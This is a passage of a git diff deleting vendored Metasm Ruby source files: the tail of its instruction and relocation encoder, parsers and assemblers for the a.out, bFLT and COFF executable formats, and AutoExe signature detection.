- lenmax -= 0 - end - } - raise elem, "no room for .pad before '.offset #{nextoff.val}' at #{Backtrace.backtrace_str(nextoff.backtrace)}, need at least #{-lenmax} more bytes" if lenmax < 0 - minoff += [lenmin, 0].max - maxoff += lenmax - - when Offset - # nothing to do for now - else - raise "Internal error: bad object #{elem.inspect} in encode_resolve" - end - } - - # checks an expression linearity - check_linear = lambda { |expr| - expr = expr.reduce if expr.kind_of? Expression - while expr.kind_of? Expression - case expr.op - when :* - if expr.lexpr.kind_of? Numeric; expr = expr.rexpr - elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else break - end - when :/, :>>, :<< - if expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else break - end - when :+, :- - if not expr.lexpr; expr = expr.rexpr - elsif expr.lexpr.kind_of? Numeric; expr = expr.rexpr - elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else - break if not check_linear[expr.rexpr] - expr = expr.lexpr - end - else break - end - end - - not expr.kind_of? Expression - } - - # now we can resolve all relocations - # for linear expressions of internal variables (ie differences of labels from the ary): - # - calc target numeric bounds, and reject relocs not accepting worst case value - # - else reject all but largest place available - # then chose the shortest overall EData left - ary.map! { |elem| - case elem - when Array - # for each external, compute numeric target values using minbinding[external] and maxbinding[external] - # this gives us all extrem values for linear expressions - target_bounds = {} - rec_checkminmax = lambda { |idx, target, binding, extlist| - if extlist.empty? - (target_bounds[idx] ||= []) << target.bind(binding).reduce - else - rec_checkminmax[idx, target, binding.merge(extlist.last => minbinding[extlist.last]), extlist[0...-1]] - rec_checkminmax[idx, target, binding.merge(extlist.last => maxbinding[extlist.last]), extlist[0...-1]] - end - } - # biggest size disponible for this relocation (for non-linear/external) - wantsize = {} - - elem.each { |e| - e.reloc.sort.each_with_index { |r_, i| - r = r_[1] - # has external ref - if not r.target.bind(minbinding).reduce.kind_of?(Numeric) or not check_linear[r.target] - # find the biggest relocation type for the current target - wantsize[i] = elem.map { |edata| - edata.reloc.sort[i][1].type - }.sort_by { |type| Expression::INT_SIZE[type] }.last # XXX do not use rel.length - else - rec_checkminmax[i, r.target, {}, r.target.externals] - end - } - } - - # reject candidates with reloc type too small - acceptable = elem.find_all { |edata| - r = edata.reloc.sort - (0...r.length).all? { |i| - if wantsize[i] - r[i][1].type == wantsize[i] - else - target_bounds[i].all? { |b| Expression.in_range?(b, r[i][1].type) } - end - } - } - - raise EncodeError, "cannot find candidate in #{elem.inspect}, immediate too big #{wantsize.inspect} #{target_bounds.inspect}" if acceptable.empty? - - # keep the shortest - acceptable.sort_by { |edata| edata.virtsize }.first - else - elem - end - } - - # assemble all parts, resolve padding sizes, check offset directives - edata = EncodedData.new - - # fills edata with repetitions of data until targetsize - fillwith = lambda { |targetsize, data| - if data - if data.reloc.empty? and not data.data.empty? # avoid useless iterations - nr = (targetsize-edata.virtsize) / data.length - 1 - if nr > 0 - dat = data.data.ljust(data.virtsize, 0.chr) - edata << (dat * nr) - end - end - while edata.virtsize + data.virtsize <= targetsize - edata << data - end - if edata.virtsize < targetsize - edata << data[0, targetsize - edata.virtsize] - end - else - edata.virtsize = targetsize - end - } - - ary.each { |elem| - case elem - when EncodedData - edata << elem - when Align - fillwith[EncodedData.align_size(edata.virtsize, elem.val), elem.fillwith] - when Offset - raise EncodeError, "could not enforce .offset #{elem.val} #{elem.backtrace}: offset now #{edata.virtsize}" if edata.virtsize != Expression[elem.val].bind(edata.binding(0)).reduce - when Padding - nextoff = ary[ary.index(elem)..-1].grep(Offset).first - targetsize = Expression[nextoff.val].bind(edata.binding(0)).reduce - ary[ary.index(elem)+1..ary.index(nextoff)-1].each { |nelem| targetsize -= nelem.virtsize } - raise EncodeError, "no room for .pad #{elem.backtrace_str} before .offset #{nextoff.val}, would be #{targetsize-edata.length} bytes long" if targetsize < edata.length - fillwith[targetsize, elem.fillwith] - else raise "Internal error: #{elem.inspect}" - end - } - - edata - end -end - -class Expression - def encode(type, endianness, backtrace=nil) - case val = reduce - when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace) - else - str = case INT_SIZE[type] - when 8; "\0" - when 16; "\0\0" - when 32; "\0\0\0\0" - when 64; "\0\0\0\0\0\0\0\0" - else [0].pack('C')*(INT_SIZE[type]/8) - end - str = str.force_encoding('BINARY') if str.respond_to?(:force_encoding) - EncodedData.new(str, :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) - end - end - - class << self - def encode_imm(val, type, endianness, backtrace=nil) - type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer - endianness = endianness.endianness if not endianness.kind_of? ::Symbol - raise "unsupported endianness #{endianness.inspect}" unless [:big, :little].include? endianness - raise(EncodeError, "immediate overflow #{type.inspect} #{Expression[val]} #{(Backtrace::backtrace_str(backtrace) if backtrace)}") if not in_range?(val, type) - s = (0...INT_SIZE[type]/8).map { |i| (val >> (8*i)) & 0xff }.pack('C*') - endianness != :little ? s.reverse : s - end - alias encode_immediate encode_imm - end -end - -class Data - def encode(endianness) - edata = case @data - when :uninitialized - EncodedData.new('', :virtsize => Expression::INT_SIZE[INT_TYPE[@type]]/8) - when String - # db 'foo' => 'foo' # XXX could be optimised, but should not be significant - # dw 'foo' => "f\0o\0o\0" / "\0f\0o\0o" - @data.unpack('C*').inject(EncodedData.new) { |ed, chr| ed << Expression.encode_imm(chr, INT_TYPE[@type], endianness, @backtrace) } - when Expression - @data.encode INT_TYPE[@type], endianness, @backtrace - when Array - @data.inject(EncodedData.new) { |ed, d| ed << d.encode(endianness) } - end - - # n times - (0...@count).inject(EncodedData.new) { |ed, cnt| ed << edata } - end -end - -class CPU - # returns an EncodedData or an ary of them - # uses +#parse_arg_valid?+ to find the opcode whose signature matches with the instruction - # uses +encode_instr_op+ (arch-specific) - def encode_instruction(program, i) - errmsg = '' - oplist = opcode_list_byname[i.opname].to_a.find_all { |o| - o.args.length == i.args.length and - o.args.zip(i.args).all? { |f, a| parse_arg_valid?(o, f, a) } - }.map { |op| - begin - encode_instr_op(program, i, op) - rescue EncodeError - errmsg = " (#{$!.message})" - nil - end - }.compact.flatten - raise EncodeError, "no matching opcode found for #{i}#{errmsg}" if oplist.empty? - oplist.each { |ed| ed.reloc.each_value { |v| v.backtrace = i.backtrace } } - oplist - end -end -end diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb deleted file mode 100644 index c273d51c55..0000000000 --- a/lib/metasm/metasm/exe_format/a_out.rb +++ /dev/null @@ -1,197 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -class AOut < ExeFormat - MAGIC = { 0407 => 'OMAGIC', 0410 => 'NMAGIC', 0413 => 'ZMAGIC', - 0314 => 'QMAGIC', 0421 => 'CMAGIC' - } - MACHINE_TYPE = { 0 => 'OLDSUN2', 1 => '68010', 2 => '68020', - 3 => 'SPARC', 100 => 'PC386', 134 => 'I386', 135 => 'M68K', - 136 => 'M68K4K', 137 => 'NS32532', 138 => 'SPARC', - 139 => 'PMAX', 140 => 'VAX', 141 => 'ALPHA', 142 => 'MIPS', - 143 => 'ARM6', 151 => 'MIPS1', 152 => 'MIPS2', 300 => 'HP300', - 0x20B => 'HPUX800', 0x20C => 'HPUX' - } - FLAGS = { 0x10 => 'PIC', 0x20 => 'DYNAMIC' } - SYMBOL_TYPE = { 0 => 'UNDF', 1 => 'ABS', 2 => 'TEXT', - 3 => 'DATA', 4 => 'BSS', 5 => 'INDR', 6 => 'SIZE', - 9 => 'COMM', 10=> 'SETA', 11=> 'SETT', 12=> 'SETD', - 13=> 'SETB', 14=> 'SETV', 15=> 'FN' - } - - attr_accessor :endianness, :header, :text, :data, :symbols, :textrel, :datarel - - class Header < SerialStruct - bitfield :word, 0 => :magic, 16 => :machtype, 24 => :flags - fld_enum(:magic, MAGIC) - fld_enum(:machtype, MACHINE_TYPE) - fld_bits(:flags, FLAGS) - words :text, :data, :bss, :syms, :entry, :trsz, :drsz - - def decode(aout) - super(aout) - - case @magic - when 'OMAGIC', 'NMAGIC', 'ZMAGIC', 'QMAGIC' - else raise InvalidExeFormat, "Bad A.OUT signature #@magic" - end - end - - def set_default_values(aout) - @magic ||= 'QMAGIC' - @machtype ||= 'PC386' - @flags ||= [] - @text ||= aout.text.length + (@magic == 'QMAGIC' ? 32 : 0) if aout.text - @data ||= aout.data.length if aout.data - - super(aout) - end - end - - class Relocation < SerialStruct - word :address - bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, - 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy - fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8 - fld_default :length, 4 - end - - class Symbol < SerialStruct - word :name_p - bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab - byte :other - half :desc - word :value - attr_accessor :name - - def decode(aout, strings=nil) - super(aout) - @name = strings[@name_p...(strings.index(?\0, @name_p))] if strings - end - - def set_default_values(aout, strings=nil) - if strings and name and @name != '' - if not @name_p or strings[@name_p, @name.length] != @name - @name_p = strings.length - strings << @name << 0 - end - end - super(aout, strings) - end - end - - def decode_byte(edata = @encoded) edata.decode_imm(:u8 , @endianness) end - def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_byte(w) Expression[w].encode(:u8 , @endianness) end - def encode_half(w) Expression[w].encode(:u16, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - def sizeof_byte ; 1 ; end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - - def initialize(cpu = nil) - @endianness = cpu ? cpu.endianness : :little - @header = Header.new - @text = EncodedData.new - @data = EncodedData.new - super(cpu) - end - - def decode_header - @encoded.ptr = 0 - @header.decode(self) - end - - def decode - decode_header - - tlen = @header.text - case @header.magic - when 'ZMAGIC'; @encoded.ptr = 1024 - when 'QMAGIC'; tlen -= 32 # header is included in .text - end - @text = EncodedData.new << @encoded.read(tlen) - - @data = EncodedData.new << @encoded.read(@header.data) - - # TODO - #textrel = @encoded.read @header.trsz - #datarel = @encoded.read @header.drsz - #syms = @encoded.read @header.syms - #strings = @encoded.read - end - - def encode - # non mmapable on linux anyway - # could support OMAGIC.. - raise EncodeError, 'cannot encode non-QMAGIC a.out' if @header.magic and @header.magic != 'QMAGIC' - - # data must be 4096-aligned - # 32 bytes of header included in .text - @text.virtsize = (@text.virtsize + 32 + 4096 - 1) / 4096 * 4096 - 32 - if @data.rawsize % 4096 != 0 - @data[(@data.rawsize + 4096 - 1) / 4096 * 4096 - 1] = 0 - end - - @header.text = @text.length+32 - @header.data = @data.rawsize - @header.bss = @data.virtsize - @data.rawsize - - @encoded = EncodedData.new - @encoded << @header.encode(self) - binding = @text.binding(4096+32).merge @data.binding(4096 + @header.text) - @encoded << @text << @data - @encoded.fixup! binding - @encoded.data - end - - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end - - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - when '.entrypoint' - # ".entrypoint <somelabel/expression>" or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entry = entrypoint - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @text << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end - - def each_section - tva = 0 - tva = 4096+32 if @header.magic == 'QMAGIC' - yield @text, tva - yield @data, tva + @text.virtsize - end -end -end diff --git a/lib/metasm/metasm/exe_format/autoexe.rb b/lib/metasm/metasm/exe_format/autoexe.rb deleted file mode 100644 index 3bd94d953c..0000000000 --- a/lib/metasm/metasm/exe_format/autoexe.rb +++ /dev/null @@ -1,83 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' - -module Metasm -# special class that decodes a PE, ELF, MachO or UnivBinary file from its signature -# XXX UnivBinary is not a real ExeFormat, just a container.. -class AutoExe < ExeFormat -class UnknownSignature < InvalidExeFormat ; end - -# actually calls autoexe_load for the detected filetype from #execlass_from_signature -def self.load(str, *a, &b) - s = str - s = str.data if s.kind_of? EncodedData - execlass_from_signature(s).autoexe_load(str, *a, &b) -end - -# match the actual exe class from the raw file inspection using the registered signature list -# calls #unknown_signature if nothing matches -def self.execlass_from_signature(raw) - m = @signatures.find { |sig, exe| - case sig - when String; raw[0, sig.length] == sig - when Proc; sig[raw] - end - } - e = m ? m[1] : unknown_signature(raw) - case e - when String; Metasm.const_get(e) - when Proc; e.call - else e - end -end - -# register a new binary file signature -def self.register_signature(sig, exe=nil, &b) - (@signatures ||= []) << [sig, exe || b] -end - -def self.init_signatures(sig=[]) - @signatures = sig -end - -# this function is called when no signature matches -def self.unknown_signature(raw) - raise UnknownSignature, "unrecognized executable file format #{raw[0, 4].unpack('H*').first.inspect}" -end - -# raw signature copies (avoid triggering exefmt autorequire) -init_signatures -register_signature("\x7fELF") { ELF } -register_signature(lambda { |raw| raw[0, 2] == "MZ" and off = raw[0x3c, 4].to_s.unpack('V')[0] and off < raw.length and raw[off, 4] == "PE\0\0" }) { PE } -%w[feedface cefaedfe feedfacf cffaedfe].each { |sig| register_signature([sig].pack('H*')) { MachO } } -register_signature("\xca\xfe\xba\xbe") { UniversalBinary } -register_signature("dex\n") { DEX } -register_signature("dey\n") { DEY } -register_signature("\xfa\x70\x0e\x1f") { FatELF } -register_signature("\x50\x4b\x03\x04") { ZIP } -register_signature('Metasm.dasm') { Disassembler } - -# replacement for AutoExe where #load defaults to a Shellcode of the specified CPU -def self.orshellcode(cpu=nil, &b) - # here we create an anonymous subclass of AutoExe whose #unknown_sig is patched to return a Shellcode instead of raise()ing - c = ::Class.new(self) - # yeeehaa - class << c ; self ; end.send(:define_method, :unknown_signature) { |raw| - Shellcode.withcpu(cpu || b[raw]) - } - c.init_signatures @signatures - c -end -end - -# special class that decodes a LoadedPE or LoadedELF from its signature (used to read memory-mapped binaries) -class LoadedAutoExe < AutoExe -init_signatures -register_signature("\x7fELF") { LoadedELF } -register_signature(lambda { |raw| raw[0, 2] == "MZ" and off = raw[0x3c, 4].to_s.unpack('V')[0] and off < raw.length and raw[off, 4] == "PE\0\0" }) { LoadedPE } -end -end diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb deleted file mode 100644 index ec70a2756c..0000000000 --- a/lib/metasm/metasm/exe_format/bflt.rb +++ /dev/null @@ -1,219 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -# BFLT is the binary flat format used by the uClinux -# from examining a v4 binary, it looks like the header is discarded and the file is mapped from 0x40 to memory address 0 (wrt relocations) -class Bflt < ExeFormat - MAGIC = 'bFLT' - FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' } - - attr_accessor :header, :text, :data, :reloc, :got - - class Header < SerialStruct - mem :magic, 4 - words :rev, :entry, :data_start, :data_end, :bss_end, :stack_size, - :reloc_start, :reloc_count, :flags - mem :pad, 6*4 - fld_bits(:flags, FLAGS) - - def decode(exe) - super(exe) - - case @magic - when MAGIC - else raise InvalidExeFormat, "Bad bFLT signature #@magic" - end - - if @rev >= 0x01000000 and (@rev & 0x00f0ffff) == 0 - puts "Bflt: probable wrong endianness, retrying" if $VERBOSE - exe.endianness = { :big => :little, :little => :big }[exe.endianness] - exe.encoded.ptr -= 4*16 - super(exe) - end - end - - def set_default_values(exe) - @magic ||= MAGIC - @rev ||= 4 - @entry ||= 0x40 - @data_start ||= 0x40 + exe.text.length if exe.text - @data_end ||= @data_start + exe.data.data.length if exe.data - @bss_end ||= @data_start + exe.data.length if exe.data - @stack_size ||= 0x1000 - @reloc_start ||= @data_end - @reloc_count ||= exe.reloc.length - @flags ||= [] - - super(exe) - end - end - - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - def sizeof_word ; 4 ; end - - attr_accessor :endianness - def initialize(cpu = nil) - @endianness = cpu ? cpu.endianness : :little - @header = Header.new - @text = EncodedData.new - @data = EncodedData.new - super(cpu) - end - - def decode_header - @encoded.ptr = 0 - @header.decode(self) - @encoded.add_export(new_label('entrypoint'), @header.entry) - end - - def decode - decode_header - - @text = @encoded[0x40...@header.data_start] - @data = @encoded[@header.data_start...@header.data_end] - @data.virtsize += @header.bss_end - @header.data_end - - if @header.flags.include?('GZIP') - # TODO gzip - raise 'bFLT decoder: gzip format not supported' - end - - @reloc = [] - @encoded.ptr = @header.reloc_start - @header.reloc_count.times { @reloc << decode_word } - if @header.rev == 2 - @reloc.map! { |r| r & 0x3fff_ffff } - end - - decode_interpret_relocs - end - - def decode_interpret_relocs - textsz = @header.data_start-0x40 - @reloc.each { |r| - # where the reloc is - if r < textsz - section = @text - off = section.ptr = r - else - section = @data - off = section.ptr = r-textsz - end - - # what it points to - target = decode_word(section) - if target < textsz - target = label_at(@text, target, "xref_#{Expression[target]}") - elsif target < @header.bss_end-0x40 - target = label_at(@data, target-textsz, "xref_#{Expression[target]}") - else - puts "out of bounds reloc target #{Expression[target]} at #{Expression[r]}" if $VERBOSE - next - end - - section.reloc[off] = Relocation.new(Expression[target], :u32, @endianness) - } - end - - def encode - create_relocation_table - - # TODO got, gzip - if @header.flags.include? 'GZIP' - puts "W: bFLT: clearing gzip flag" if $VERBOSE - @header.flags.delete 'GZIP' - end - - @encoded = EncodedData.new - @encoded << @header.encode(self) - - binding = @text.binding(0x40).merge(@data.binding(@header.data_start)) - @encoded << @text << @data.data - @encoded.fixup! binding - @encoded.reloc.clear - - @relocs.each { |r| @encoded << encode_word(r) } - - @encoded.data - end - - def create_relocation_table - @reloc = [] - mapaddr = new_label('mapaddr') - binding = @text.binding(mapaddr).merge(@data.binding(mapaddr)) - [@text, @data].each { |section| - base = 0x40 # XXX maybe 0 ? - base = @header.data_start || base+@text.length if section == @data - section.reloc.each { |o, r| - if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and - Expression[r.target.bind(binding), :-, mapaddr].reduce.kind_of? ::Integer - @reloc << (base+o) - else - puts "bFLT: ignoring unsupported reloc #{r.inspect} at #{Expression[o]}" if $VERBOSE - end - } - } - end - - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end - - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - when '.entrypoint' - # ".entrypoint <somelabel/expression>" or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entry = entrypoint - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @text << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end - - def get_default_entrypoints - ['entrypoint'] - end - - def each_section - yield @text, 0 - yield @data, @header.data_start - @header.entry - end - - def section_info - [['.text', 0, @text.length, 'rx'], - ['.data', @header.data_addr-0x40, @data.data.length, 'rw'], - ['.bss', @header.data_end-0x40, @data.length-@data.data.length, 'rw']] - end - - def module_symbols - ['entrypoint', @header.entry-0x40] - end -end -end diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb deleted file mode 100644 index a330ea5f1f..0000000000 --- a/lib/metasm/metasm/exe_format/coff.rb +++ /dev/null @@ -1,463 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' - -module Metasm -# the COFF object file format -# mostly used on windows (PE/COFF) -class COFF < ExeFormat - CHARACTERISTIC_BITS = { - 0x0001 => 'RELOCS_STRIPPED', 0x0002 => 'EXECUTABLE_IMAGE', - 0x0004 => 'LINE_NUMS_STRIPPED', 0x0008 => 'LOCAL_SYMS_STRIPPED', - 0x0010 => 'AGGRESSIVE_WS_TRIM', 0x0020 => 'LARGE_ADDRESS_AWARE', - 0x0040 => 'x16BIT_MACHINE', 0x0080 => 'BYTES_REVERSED_LO', - 0x0100 => 'x32BIT_MACHINE', 0x0200 => 'DEBUG_STRIPPED', - 0x0400 => 'REMOVABLE_RUN_FROM_SWAP', 0x0800 => 'NET_RUN_FROM_SWAP', - 0x1000 => 'SYSTEM', 0x2000 => 'DLL', - 0x4000 => 'UP_SYSTEM_ONLY', 0x8000 => 'BYTES_REVERSED_HI' - } - - MACHINE = { - 0x0 => 'UNKNOWN', 0x184 => 'ALPHA', 0x1c0 => 'ARM', - 0x1d3 => 'AM33', 0x8664=> 'AMD64', 0xebc => 'EBC', - 0x9041=> 'M32R', 0x1f1 => 'POWERPCFP', - 0x284 => 'ALPHA64', 0x14c => 'I386', 0x200 => 'IA64', - 0x268 => 'M68K', 0x266 => 'MIPS16', 0x366 => 'MIPSFPU', - 0x466 => 'MIPSFPU16', 0x1f0 => 'POWERPC', 0x162 => 'R3000', - 0x166 => 'R4000', 0x168 => 'R10000', 0x1a2 => 'SH3', - 0x1a3 => 'SH3DSP', 0x1a6 => 'SH4', 0x1a8 => 'SH5', - 0x1c2 => 'THUMB', 0x169 => 'WCEMIPSV2' - } - - # PE+ is for 64bits address spaces - SIGNATURE = { 0x10b => 'PE', 0x20b => 'PE+', 0x107 => 'ROM' } - - SUBSYSTEM = { - 0 => 'UNKNOWN', 1 => 'NATIVE', 2 => 'WINDOWS_GUI', - 3 => 'WINDOWS_CUI', 5 => 'OS/2_CUI', 7 => 'POSIX_CUI', - 8 => 'WIN9X_DRIVER', 9 => 'WINDOWS_CE_GUI', - 10 => 'EFI_APPLICATION', - 11 => 'EFI_BOOT_SERVICE_DRIVER', 12 => 'EFI_RUNTIME_DRIVER', - 13 => 'EFI_ROM', 14 => 'XBOX' - } - - DLL_CHARACTERISTIC_BITS = { - 0x40 => 'DYNAMIC_BASE', 0x80 => 'FORCE_INTEGRITY', 0x100 => 'NX_COMPAT', - 0x200 => 'NO_ISOLATION', 0x400 => 'NO_SEH', 0x800 => 'NO_BIND', - 0x2000 => 'WDM_DRIVER', 0x8000 => 'TERMINAL_SERVER_AWARE' - } - - BASE_RELOCATION_TYPE = { 0 => 'ABSOLUTE', 1 => 'HIGH', 2 => 'LOW', 3 => 'HIGHLOW', - 4 => 'HIGHADJ', 5 => 'MIPS_JMPADDR', 9 => 'MIPS_JMPADDR16', 10 => 'DIR64' - } - - RELOCATION_TYPE = Hash.new({}).merge( - 'AMD64' => { 0 => 'ABSOLUTE', 1 => 'ADDR64', 2 => 'ADDR32', 3 => 'ADDR32NB', - 4 => 'REL32', 5 => 'REL32_1', 6 => 'REL32_2', 7 => 'REL32_3', - 8 => 'REL32_4', 9 => 'REL32_5', 10 => 'SECTION', 11 => 'SECREL', - 12 => 'SECREL7', 13 => 'TOKEN', 14 => 'SREL32', 15 => 'PAIR', - 16 => 'SSPAN32' }, - 'ARM' => { 0 => 'ABSOLUTE', 1 => 'ADDR32', 2 => 'ADDR32NB', 3 => 'BRANCH24', - 4 => 'BRANCH11', 14 => 'SECTION', 15 => 'SECREL' }, - 'I386' => { 0 => 'ABSOLUTE', 1 => 'DIR16', 2 => 'REL16', 6 => 'DIR32', - 7 => 'DIR32NB', 9 => 'SEG12', 10 => 'SECTION', 11 => 'SECREL', - 12 => 'TOKEN', 13 => 'SECREL7', 20 => 'REL32' } - ) - - # lsb of symbol type, unused - SYMBOL_BTYPE = { 0 => 'NULL', 1 => 'VOID', 2 => 'CHAR', 3 => 'SHORT', - 4 => 'INT', 5 => 'LONG', 6 => 'FLOAT', 7 => 'DOUBLE', 8 => 'STRUCT', - 9 => 'UNION', 10 => 'ENUM', 11 => 'MOE', 12 => 'BYTE', 13 => 'WORD', - 14 => 'UINT', 15 => 'DWORD'} - SYMBOL_TYPE = { 0 => 'NULL', 1 => 'POINTER', 2 => 'FUNCTION', 3 => 'ARRAY' } - SYMBOL_SECTION = { 0 => 'UNDEF', 0xffff => 'ABS', 0xfffe => 'DEBUG' } - SYMBOL_STORAGE = { 0xff => 'EOF', 0 => 'NULL', 1 => 'AUTO', 2 => 'EXTERNAL', - 3 => 'STATIC', 4 => 'REGISTER', 5 => 'EXT_DEF', 6 => 'LABEL', - 7 => 'UNDEF_LABEL', 8 => 'STRUCT_MEMBER', 9 => 'ARGUMENT', 10 => 'STRUCT_TAG', - 11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC', - 15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD', - 100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT', - 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', - } - - DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC', - 5 => 'EXCEPTION', 6 => 'FIXUP', 7 => 'OMAP_TO_SRC', 8 => 'OMAP_FROM_SRC', - 9 => 'BORLAND', 10 => 'RESERVED10', 11 => 'CLSID' } - - DIRECTORIES = %w[export_table import_table resource_table exception_table certificate_table - base_relocation_table debug architecture global_ptr tls_table load_config - bound_import iat delay_import com_runtime reserved] - - SECTION_CHARACTERISTIC_BITS = { - 0x20 => 'CONTAINS_CODE', 0x40 => 'CONTAINS_DATA', 0x80 => 'CONTAINS_UDATA', - 0x100 => 'LNK_OTHER', 0x200 => 'LNK_INFO', 0x800 => 'LNK_REMOVE', - 0x1000 => 'LNK_COMDAT', 0x8000 => 'GPREL', - 0x20000 => 'MEM_PURGEABLE|16BIT', 0x40000 => 'MEM_LOCKED', 0x80000 => 'MEM_PRELOAD', - 0x100000 => 'ALIGN_1BYTES', 0x200000 => 'ALIGN_2BYTES', - 0x300000 => 'ALIGN_4BYTES', 0x400000 => 'ALIGN_8BYTES', - 0x500000 => 'ALIGN_16BYTES', 0x600000 => 'ALIGN_32BYTES', - 0x700000 => 'ALIGN_64BYTES', 0x800000 => 'ALIGN_128BYTES', - 0x900000 => 'ALIGN_256BYTES', 0xA00000 => 'ALIGN_512BYTES', - 0xB00000 => 'ALIGN_1024BYTES', 0xC00000 => 'ALIGN_2048BYTES', - 0xD00000 => 'ALIGN_4096BYTES', 0xE00000 => 'ALIGN_8192BYTES', - 0x01000000 => 'LNK_NRELOC_OVFL', 0x02000000 => 'MEM_DISCARDABLE', - 0x04000000 => 'MEM_NOT_CACHED', 0x08000000 => 'MEM_NOT_PAGED', - 0x10000000 => 'MEM_SHARED', 0x20000000 => 'MEM_EXECUTE', - 0x40000000 => 'MEM_READ', 0x80000000 => 'MEM_WRITE' - } - # NRELOC_OVFL means there are more than 0xffff reloc - # the reloc count must be set to 0xffff, and the real reloc count - # is the VA of the first relocation - - ORDINAL_REGEX = /^Ordinal_(\d+)$/ - - COMIMAGE_FLAGS = { - 1 => 'ILONLY', 2 => '32BITREQUIRED', 4 => 'IL_LIBRARY', - 8 => 'STRONGNAMESIGNED', 16 => 'NATIVE_ENTRYPOINT', - 0x10000 => 'TRACKDEBUGDATA' - } - - class SerialStruct < Metasm::SerialStruct - new_int_field :xword - end - - class Header < SerialStruct - half :machine, 'I386', MACHINE - half :num_sect - words :time, :ptr_sym, :num_sym - half :size_opthdr - half :characteristics - fld_bits :characteristics, CHARACTERISTIC_BITS - end - - # present in linked files (exe/dll/kmod) - class OptionalHeader < SerialStruct - half :signature, 'PE', SIGNATURE - bytes :link_ver_maj, :link_ver_min - words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code - # base_of_data does not exist in 64-bit - new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0) - # NT-specific fields - xword :image_base - words :sect_align, :file_align - halfs :os_ver_maj, :os_ver_min, :img_ver_maj, :img_ver_min, :subsys_maj, :subsys_min - words :reserved, :image_size, :headers_size, :checksum - half :subsystem, 0, SUBSYSTEM - half :dll_characts - fld_bits :dll_characts, DLL_CHARACTERISTIC_BITS - xwords :stack_reserve, :stack_commit, :heap_reserve, :heap_commit - words :ldrflags, :numrva - end - - # COFF relocatable object symbol (table offset found in the Header.ptr_sym) - class Symbol < SerialStruct - str :name, 8 # if the 1st 4 bytes are 0, the word at 4...8 is the name index in the string table - word :value - half :sec_nr - fld_enum :sec_nr, SYMBOL_SECTION - bitfield :half, 0 => :type_base, 4 => :type - fld_enum :type_base, SYMBOL_BTYPE - fld_enum :type, SYMBOL_TYPE - bytes :storage, :nr_aux - fld_enum :storage, SYMBOL_STORAGE - - attr_accessor :aux - end - - class Section < SerialStruct - str 